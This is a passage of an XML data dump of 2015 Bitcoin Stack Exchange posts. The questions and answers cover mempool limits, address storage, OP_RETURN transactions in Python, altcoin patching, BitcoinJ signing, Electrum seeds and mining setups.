href=&quot;https://github.com/bitcoin/bitcoin/issues/3723&quot; rel=&quot;nofollow&quot;&gt;Mempool Superblock&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/3753&quot; rel=&quot;nofollow&quot;&gt;Mempool Janitor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="10845" LastEditDate="2015-04-29T22:29:53.863" LastActivityDate="2015-04-29T23:38:22.887" Title="What is the maximum size of the memory pool?" Tags="|mempool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37153" PostTypeId="1" AcceptedAnswerId="37154" CreationDate="2015-04-29T00:06:37.387" Score="4" ViewCount="1060" Body="&lt;p&gt;Let's pretend I wanted to store 1MILLION btc addresses in mysql,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about saving the last 10 digits of each submitted address and testing against that but would 10 characters be enough to avoid duplicates?&#xA;Is 10 digits too much? Or is there an even better way, does an industry standard exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance :)&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2015-04-29T00:58:08.707" Title="What is the most efficient way to store bitcoin addresses in a database?" Tags="|bitcoind|database|storage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37154" PostTypeId="2" ParentId="37153" CreationDate="2015-04-29T00:58:08.707" Score="5" Body="&lt;p&gt;It's not really clear what your use case is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to retrieve the addresses later, you can store each address as a string. That's only ~34MB, which easily fits in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save space, you can convert each address to hash160 format, which is only 20 bytes. In total, that's 20 MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're merely trying to test whether a Bitcoin address is contained within the database then you could use a bloom filter. A bloom filter with a false positive rate of 1 in 10&lt;sup&gt;20&lt;/sup&gt; and 1000000 elements &lt;a href=&quot;http://hur.st/bloomfilter?n=1000000&amp;amp;p=1.0E-20&quot; rel=&quot;noreferrer&quot;&gt;would only take 11 MB&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-29T00:58:08.707" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37155" PostTypeId="2" ParentId="37118" CreationDate="2015-04-29T01:25:21.030" Score="0" Body="&lt;p&gt;Other options, beyond what Nick mentioned, are to either use the toshi.io API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://toshi.io/docs/#get-address-unspent-outputs&quot; rel=&quot;nofollow&quot;&gt;toshi.io - API - utxo's for address&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or run your own toshi node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://toshi.io/&quot; rel=&quot;nofollow&quot;&gt;toshi.io&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25232" LastActivityDate="2015-04-29T01:25:21.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37156" PostTypeId="2" ParentId="37150" CreationDate="2015-04-29T02:39:14.987" Score="4" Body="&lt;p&gt;Generally not. It's very difficult to audit the state of most altcoins just due to the &lt;a href=&quot;http://mapofcoins.com/bitcoin&quot; rel=&quot;nofollow&quot;&gt;ridiculous number of them in existence&lt;/a&gt;, and the fact that many of them intentionally sever the history by rebuilding the Bitcoin repo from the files rather than properly forking the Git repository. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A large number of Proof of Stake altcoins were forked from 0.6 source code and remain using BerkeleyDB for block chain state storage rather than the LevelDB UTXO used in modern Bitcoin Core. Most Litecoin forks seem to have been made around Bitcoin 0.7 and maintain some of its &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki&quot; rel=&quot;nofollow&quot;&gt;eccentricities&lt;/a&gt; as well. Some more popular forks have back ported fixes or brought their forks to be somewhat level to Bitcoin, but these are the underwhelming majority. It's unclear if they have applied all the security patches they should have, or if they did them correctly given the differing source and histories.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a quick glance at a small sample of some of the most popular forks listed on &lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;coinkmarketcap&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/litecoin-project/litecoin/&quot; rel=&quot;nofollow&quot;&gt;Litecoin&lt;/a&gt; - mostly in line with Bitcoin Core, with some patches cherry picked from upstream &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/dashpay/dash/&quot; rel=&quot;nofollow&quot;&gt;DarkCoin&lt;/a&gt; - forked from Litecoin but does not appear to backport any patches. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/dogecoin/dogecoin/&quot; rel=&quot;nofollow&quot;&gt;DogeCoin&lt;/a&gt; - forked from Litecoin, with some patches cherry picked from upstream.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/ppcoin/ppcoin&quot; rel=&quot;nofollow&quot;&gt;PeerCoin&lt;/a&gt; - appears to be a 0.6 or 0.7 vintage fork of Bitcoin, limited backported patches. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/namecoin/namecoin&quot; rel=&quot;nofollow&quot;&gt;NameCoin&lt;/a&gt; - ancient fork of Bitcoin 0.3, very limited back porting of patches. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most other altcoins will be the same or worse in terms of security updates of known bugs. It's a very real risk forking Bitcoin if you are unable to maintain it, and many of the people creating forks are completely ill equipped for the task.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-04-29T06:16:39.710" LastActivityDate="2015-04-29T06:16:39.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37157" PostTypeId="2" ParentId="37152" CreationDate="2015-04-29T02:42:10.247" Score="6" Body="&lt;p&gt;There is no cap on the maximum size of the mempool, nor a janitor which cleans up transactions which are not confirming. Loss of unconfirmed transactions isn't a problem as wallets are supposed to rebroadcast transactions if they don't confirm within a reasonable time frame, so it wouldn't be unreasonable to drop them in a critical low memory situation. The limit on free transaction relay is there partly to prevent this from being an issue, it would be fairly expensive to pack the mempool with junk from a fee standpoint. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-04-29T23:38:22.887" LastActivityDate="2015-04-29T23:38:22.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37158" PostTypeId="1" CreationDate="2015-04-29T03:05:49.853" Score="2" ViewCount="1516" Body="&lt;p&gt;I'm trying to make a simple program that can reliably upload an OP_RETURN transaction. I have found some examples online, but so far they don't work consistently. The ones that go through seem to be random. Here are the transactions that went through &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/1Eoo7G7u97EMwptSxjYjpvdx9zYcqJBn9y&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1Eoo7G7u97EMwptSxjYjpvdx9zYcqJBn9y&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very hit or miss every time I try. I have been entirely unable to upload any transactions using the script, however once in a while if I upload the raw transaction using blockchain they go through. Any ideas? Here is the error message. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;/Users/JC/Documents/DevelopmentStuff/programming /Python/bit/op-return_test2.py&quot;, line 51, in &amp;lt;module&amp;gt;&#xA;    print(pushtx(tx))&#xA;  File &quot;/Library/Python/2.7/site-packages/bitcoin/bci.py&quot;, line 237, in pushtx&#xA;    return f(*args)&#xA;  File &quot;/Library/Python/2.7/site-packages/bitcoin/bci.py&quot;, line 192, in bci_pushtx&#xA;    return make_request('https://blockchain.info/pushtx', 'tx='+tx)&#xA;  File &quot;/Library/Python/2.7/site-packages/bitcoin/bci.py&quot;, line 23, in make_request&#xA;    raise Exception(p)&#xA;Exception: None Standard Script Output OP_RETURN 48656c6c6f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the code. I would really appreciate any help. Thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# coding: utf-8&#xA;&#xA;from bitcoin import *&#xA;import binascii&#xA;from test import *&#xA;&#xA;&#xA;&#xA;priv = &quot;Private key&quot;&#xA;&#xA;pub = &quot;1Eoo7G7u97EMwptSxjYjpvdx9zYcqJBn9y&quot;&#xA;&#xA;addr= &quot;1Eoo7G7u97EMwptSxjYjpvdx9zYcqJBn9y&quot;&#xA;inputs = unspent(addr)&#xA;&#xA;message = &quot;Hello&quot;&#xA;FullLen = format(len(message)+2,'x').rjust(2,'0') &#xA;MessageLen = format(len(message),'x').rjust(2,'0')&#xA;ID = binascii.hexlify(str(message))&#xA;#snd = &quot;6a4c28&quot;+ID&#xA;snd = &quot;6a&quot;+MessageLen+ID&#xA;print hexlify(chr(len(message)))&#xA;print MessageLen&#xA;print snd&#xA;#snd = &quot;6a4c&quot;+MessageLen+ID&#xA;#print snd&#xA;newScriptPubKey = &quot;6a&quot; + hexlify(chr(len(message)))+ hexlify(message)&#xA;#print newScriptPubKey&#xA;&#xA;outputs = [{'value': 50000, 'address': addr}, {'value': 0, 'script': snd}]&#xA;&#xA;fee = 10000&#xA;&#xA;tx = mksend(inputs, outputs, addr, fee)&#xA;&#xA;dt = deserialize(tx)&#xA;ins = dt['ins']&#xA;&#xA;#print addr&#xA;#print ins&#xA;&#xA;print tx&#xA;for ind, elm in enumerate(ins):&#xA;    print elm&#xA;    tx = sign(tx, ind, priv)&#xA;&#xA;print tx&#xA;&#xA;&#xA;&#xA;print(pushtx(tx)) # Error is raised on this line&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25265" LastEditorUserId="25265" LastEditDate="2015-05-01T21:07:16.627" LastActivityDate="2015-07-01T08:03:54.537" Title="OP_RETURN using python" Tags="|python|op-return|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37159" PostTypeId="2" ParentId="36088" CreationDate="2015-04-29T07:21:19.233" Score="8" Body="&lt;p&gt;I run alt19, which is a free site which offers historical trade data on a large number of altcoins in CSV format. We have data at 15 minute, 1 hour, and 1 day increments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alt19.com&quot; rel=&quot;noreferrer&quot;&gt;http://alt19.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25268" LastEditorUserId="2306" LastEditDate="2015-04-29T09:03:57.887" LastActivityDate="2015-04-29T09:03:57.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37160" PostTypeId="1" AcceptedAnswerId="37231" CreationDate="2015-04-29T09:37:28.963" Score="2" ViewCount="427" Body="&lt;p&gt;Is it possible to use the Selfish Mining algorithm to steal bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="5406" LastEditDate="2016-02-08T11:12:59.870" LastActivityDate="2016-02-08T11:12:59.870" Title="Is it possible to use Selfish Mining to steal bitcoins?" Tags="|doublespend|theft|selfish-mining|stale-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37162" PostTypeId="2" ParentId="37158" CreationDate="2015-04-29T11:18:33.687" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://blockchain.info/tx/e90acad12b19d7b9a4760a5af4603a9da06e6231e699072bcb71aced795abd62&quot; rel=&quot;nofollow&quot;&gt;e90acad12b19d7b9a4760a5af4603a9da06e6231e699072bcb71aced795abd62&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;deserialize(str(blockr_fetchtx(&quot;e90acad12b19d7b9a4760a5af4603a9da06e6231e699072bcb71aced795abd62&quot;)))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{'ins': [{'outpoint': {'hash': 'a5221ad4b031d9487dfb2c334b3d84a3c33d908e5f1089141a72b2f4c98baf55',&#xA;    'index': 0},&#xA;   'script': '483045022100e684df2de15562b09f267d6ec25a1f8043e0162fb7426e40ee87a1a0b51a4ab8022009069aced5a4a33ac720dbbafad37b36e1&#xA;087ea9578b1ec9cd14ea4367debc0f01410466c719272fda4368a44cde914dd210b3dcf1913b700b1fdd2948f6d44acb404c250d172705bd297d9a3fcc4ddb9e&#xA;0d3fe2c52b870e31eb035f650921bd68d73c',&#xA;   'sequence': 4294967295L},&#xA;  {'outpoint': {'hash': 'a5221ad4b031d9487dfb2c334b3d84a3c33d908e5f1089141a72b2f4c98baf55',&#xA;    'index': 2},&#xA;   'script': '483045022008e0edd19548f7098db140d703fd60e00b184c7d4746da57fdb36f5ff573bc080221008203612b6bf02e9e15bde7e412085323e4&#xA;d561761ddc2632f5f68a0dc057aebd01410466c719272fda4368a44cde914dd210b3dcf1913b700b1fdd2948f6d44acb404c250d172705bd297d9a3fcc4ddb9e&#xA;0d3fe2c52b870e31eb035f650921bd68d73c',&#xA;   'sequence': 4294967295L}],&#xA; 'locktime': 0,&#xA; 'outs': [{'script': '76a91497734226bd4c9c7764771a077e775e8581e030e988ac',&#xA;   'value': 50000},&#xA;  {'script': '6a4c0848656c6c6f526179', 'value': 0},&#xA;  {'script': '76a91497734226bd4c9c7764771a077e775e8581e030e988ac',&#xA;   'value': 210477}],&#xA; 'version': 1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{'script': '6a4c0848656c6c6f526179', 'value': 0}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That OP_RETURN is Non-Standard, which is the error message BCI is throwing. It's the &lt;code&gt;4c&lt;/code&gt; preceding &lt;code&gt;6a&lt;/code&gt; that's the issue: if a push data code is not needed, then the Tx is non-standard. It should just read &lt;code&gt;6a48656c6c6f526179&lt;/code&gt;, or in the serialized Tx it'd be &lt;code&gt;096a48656c6c6f526179&lt;/code&gt; instead of &lt;code&gt;0b6a4c0848656c6c6f526179&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-29T11:18:33.687" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37163" PostTypeId="1" CreationDate="2015-04-29T14:05:55.040" Score="-2" ViewCount="312" Body="&lt;p&gt;It said that the last two years, bitcoins has been losing value. What would happen in the future? And what is the reason of this?&lt;/p&gt;&#xA;" OwnerUserId="25276" LastActivityDate="2015-04-29T19:34:28.387" Title="What is the future of the bitcoins?" Tags="|market|" AnswerCount="2" CommentCount="2" ClosedDate="2015-04-29T18:29:43.433" ContentLicense="CC BY-SA 3.0" />
  <row Id="37165" PostTypeId="2" ParentId="37163" CreationDate="2015-04-29T14:18:33.640" Score="1" Body="&lt;p&gt;To be honest, no one knows. Assumptions or guesses about the future are exactly that, just assumptions. We could however look at what could make the price go up or down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A new cryptocurrency&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might make the price of bitcoin go down, since there would be less people working with bitcoins and more people working with a new 'altcoin'. However, most people get into altcoins by buying bitcoins and then trading bitcoins for altcoins, so this is also in a way a positive thing for bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Early adopter(s) cashing out&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The people who got into Bitcoin pretty early on (people who bought 1000 BTC for $1 or less) might cash out at any time, pushing the price down. Most 'whales' cashing out 'dump' their bitcoins, instead of slowly selling bunches of 10 BTC at a time, so they do impact the worldwide price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More people getting into bitcoin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would make the price go up. The amount of possible available coins stays the same (21 million) and the amount of available coins slowly increases. If there is a larger increase in users than there is an increase in coins, there will be a rise in the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also reverse, if there are not enough new users (in a month / a year) the price will go down for the same reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The mining reward halving&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This causes the bitcoins mined per block to halve, making the release of bitcoins go slower. This means the supply will slow down a bit. If the demand would stay the same and/or rise, the price would rise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Please edit this answer and add more possible reasons]&lt;/p&gt;&#xA;" OwnerUserId="21294" LastActivityDate="2015-04-29T14:18:33.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37166" PostTypeId="1" CreationDate="2015-04-29T17:23:15.187" Score="3" ViewCount="793" Body="&lt;p&gt;I am having problem signing the transaction using BitcoinJ library without the Wallet instance, I only have the Transaction class instance and the ECKey in order to sign the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to implement it ? &lt;/p&gt;&#xA;" OwnerUserId="25252" LastEditorUserId="2306" LastEditDate="2015-04-29T18:30:18.210" LastActivityDate="2024-01-24T19:04:20.467" Title="How to sign a transaction using BitcoinJ" Tags="|transactions|raw-transaction|bitcoinj|android|java|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37167" PostTypeId="2" ParentId="37163" CreationDate="2015-04-29T19:34:28.387" Score="-3" Body="&lt;p&gt;Really this is a good question, in fact as @Mr Jones said, no ones can say what are going to happen in the bitcoins markets. &#xA;Basically you have to think how the bitcoins are create: thanks to the computer algorithms.&#xA;We know that the last years bitcoin has been losing value, as you can check in the charts,(this page is very usefull &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoincharts.com/markets/&lt;/a&gt;)&#xA;You should have some knowdelge about technical chart analysis (you can learn more about &lt;a href=&quot;http://stockcharts.com/school/doku.php?id=chart_school:overview:technical_analysis&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;). &#xA;Let`s do it to the bitcoin chart:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hdFVT.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;You can see that the bitcoin is loseing value.&lt;/p&gt;&#xA;" OwnerUserId="25277" LastActivityDate="2015-04-29T19:34:28.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37170" PostTypeId="1" CreationDate="2015-04-29T23:26:57.053" Score="-3" ViewCount="153" Body="&lt;p&gt;A good friend lives in an apt that includes utilities in his rent and I'm going to lease a desk space in his pad to mine bitcoins. I have a few questions before I get started. All of the mining hardware I am considering connects via USB to a computer. does the specs (beyond power supplie) matter of the host computer? could i just toss together and old crappy p4 system and expect it to work well? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Bitmain AntMiner S2 1000 Gh/s on the way, and I'm considering ordering 10 to 20 of these little USB Block Erupter's. Will the processing speed of these devices stack together? &lt;/p&gt;&#xA;" OwnerUserId="25283" LastEditorUserId="5406" LastEditDate="2016-02-08T11:14:18.270" LastActivityDate="2016-02-08T11:14:18.270" Title="Does having twice as many miners give you twice as much revenue?" Tags="|hashpower|mining-theory|mining-setup|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37171" PostTypeId="1" AcceptedAnswerId="37173" CreationDate="2015-04-30T00:02:56.403" Score="0" ViewCount="537" Body="&lt;p&gt;As I was reading &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;Bitcoin hashing algorithm&lt;/a&gt;, I see that a Block Header contains hashes in the form of fields like &#xA;&lt;code&gt;hashPrevBlock&lt;/code&gt; , &lt;code&gt;hashMerkleRoot&lt;/code&gt; . I have following questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Are the transactions 100% secure? If yes, then I am wondering if Hash is the reason behind it? Since moving forward in a hash is&#xA;easy than backwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Suppose there are two identical transactions happening at the same time, are those transactions are going to get differentiated&#xA;based on the Hashes ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please elaborate. &lt;/p&gt;&#xA;" OwnerUserId="25285" LastActivityDate="2015-05-30T00:43:57.097" Title="Two identical transactions and hashes in Block Hashing algorithm" Tags="|encryption|algorithms|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37172" PostTypeId="1" CreationDate="2015-04-30T00:21:41.453" Score="3" ViewCount="2301" Body="&lt;p&gt;I have over 1400 small transactions in my wallet that add up to a little over 0.2 BTC. I am trying to send them, but keep getting a transaction too large error. I have tried to set a custom transaction fee, but am unable to still send. I am using Bitcoin core v0.10 on Windows. I have looked at this thread but am still unable to find a solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5583/how-can-i-combine-all-the-tiny-amounts-ive-received-to-minimise-transaction-fee&quot;&gt;How can I combine all the tiny amounts I&amp;#39;ve received to minimise transaction fees, and do I need to?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25284" LastEditorUserId="2306" LastEditDate="2015-04-30T00:30:12.013" LastActivityDate="2020-08-25T12:19:27.603" Title="Transaction too large error" Tags="|transactions|bitcoin-core|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37173" PostTypeId="2" ParentId="37171" CreationDate="2015-04-30T00:41:46.490" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Are the transactions 100% secure?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) Suppose there are two identical transactions happening at the same time, are those transactions are going to get differentiated based on the Hashes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. It's difficult, though, because each transaction must include the hash of the previous transaction, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It used to be much easier. A while back, it was pointed out that two coinbases could have identical hashes, and so create identical transactions down the line. See also: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/30764/why-block-height-is-required-in-coinbase&quot;&gt;Why block height is required in coinbase?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-04-30T00:41:46.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37174" PostTypeId="2" ParentId="37172" CreationDate="2015-04-30T05:03:51.510" Score="3" Body="&lt;p&gt;Your scriptSig is too big! It is limited to 200 kbytes, and you've got &lt;em&gt;1400 inputs @ 0.2kbyte&lt;/em&gt; (best case scenario): &lt;code&gt;1400x 200 = 280&lt;/code&gt;kbyte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using half the inputs (preferably newer inputs) to cut the scriptSig down in size.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-30T05:03:51.510" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="37175" PostTypeId="2" ParentId="25583" CreationDate="2015-04-30T08:53:09.657" Score="4" Body="&lt;p&gt;Most big US banks charge 40-50$ in fees for international transfers and take a cut of the exchange rate. You might be able to lower this if you use a company like Usforex or Xoom, which I believe take around a 1-1.5% cut of the interbank rate plus a &amp;lt; 5$ fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Bitcoin? I just transferred 1000$ from the US to Europe, from my wellsfargo account, via coinbase (bitcoin USD wallet), kraken (bitcoin EUR wallet) and a EUR bank account there.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coinbase took 10$ in fees for the ACH money transfer from my bank account into the coinbase bitcoin wallet. It took around five days. I think Wellsfargo does not charge for ACH transfers when money is pulled.  &lt;/li&gt;&#xA;&lt;li&gt;Kraken requires 6 bitcoin confirmations, so the transfer Coinbase -&gt; Kraken took 20 minutes. The trade bitcoin -&gt; EUR then cost 0.34%, so 3.4 EUR. This fee can possibly be lowered to 0.1% by doing the transfer with a different type of electronic money, like litecoin, I haven't looked into that. &lt;/li&gt;&#xA;&lt;li&gt;The SEPA transfer to the EUR bank account cost EUR 0.09 and took 4 days.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now this is not the whole story, because I haven't figured out the cut the bank takes on the exchange rate and what the difference between the interbank rate and the US-&gt;Bitcoin-&gt;EUR rates is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In total the bitcoin fees were less than 14 USD for 1000$, the bank transfer cost was at least 50$. The bank exchange rate spread can be around 1.5%, I have no idea what the spread in the case of bitcoin is, but probably lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin transfer took around 7 days, similar to what it takes to do a Usforex/Xoom transfer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin transfer takes a lot more manual clicking work. You have to transfer the money (1-2 minutes), do the bitcoin transfer (+wait 20 minutes), do a bitcoin/euro trade (+ wait 20 minutes), then do the 2nd transfer. Neither coinbase nor kraken can schedule any of this. You also can lose money if you delay any of this, as the exchange rates of bitcoin may change over time. That being said, the volatility of bitcoin at the moment is lower than the banking fees, even over weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think overall I prefer Xoom or Usforex like services for the occasional transfer, as it's so much easier to use. I hope someone automates the whole transfer one day with a program using coinbase's / kraken's APIs.&lt;/p&gt;&#xA;" OwnerUserId="25288" LastActivityDate="2015-04-30T08:53:09.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37176" PostTypeId="1" AcceptedAnswerId="37180" CreationDate="2015-04-30T10:21:35.317" Score="7" ViewCount="2338" Body="&lt;p&gt;Electrum uses a seed of 12 words to generate a keypair and then hierarchically generates addresses out of that keypair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to generate hierarchic addresses from a keypair, but what I don't understand is how Electrum generates a keypair from the seed. I understand the seed consists of words coming from a 2048 length wordlist, but after that it is unclear to me how it starts to generate the sequence of addresses.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'd like to do the HD generation in either Java / C++ / Python or C#.&#xA;If I can understand the process, I might be able to reproduce it myself and generate hierarchical addresses from a seed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A day later I find this Java implementation... Thanks for the answers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/harningt/atomun-mnemonic&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/harningt/atomun-mnemonic&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21294" LastEditorUserId="21294" LastEditDate="2015-05-01T11:00:03.670" LastActivityDate="2015-05-01T13:13:20.617" Title="How does Electrum make a keypair out of a seed?" Tags="|electrum|seed|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37177" PostTypeId="2" ParentId="37170" CreationDate="2015-04-30T10:40:10.527" Score="3" Body="&lt;p&gt;The specifications of the computer between the internet and the miners has to be fast enough to handle all the communication between both, but other than that, any extra capacity will remain unused by this host computer. A Pentium 4 might be enough if you run a Linux OS, but if you plan on using Windows 7 or higher, it will not be fast enough. Using a Windows version older than Windows 7 is not recommended due to sercurity risks in Windows. A miner (having a referral key / public bitcoin address) is a target on the internet, so I'd recommend having a well protected operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The speed of miners does stack together, so having more miners does mean you get a bigger piece of the pie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having antminers with ethernet connections, means you can hook these up to the internet directly without using a host computer that needs to be powered on 24/7. So consider getting more miners with ethernet connections and avoid USB miners, since these do not stack that well. A computer only has a limited amount of USB connections and USB hubs do not offer enough power, unless you invest a lot in special USB hubs, which defeats the point, since you might as well just get a standalone miner with an ethernet connection.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Off topic: Most renting contracts where utilities are included in the price have a 'Fair Use Policy', bitcoin mining definitely goes outside of fair use. Most real estate professionals already have experience with people running secret server centers in office spaces with free electricity, so most contracts include a clause where the fair use of the utilities is described.&lt;/p&gt;&#xA;" OwnerUserId="21294" LastActivityDate="2015-04-30T10:40:10.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
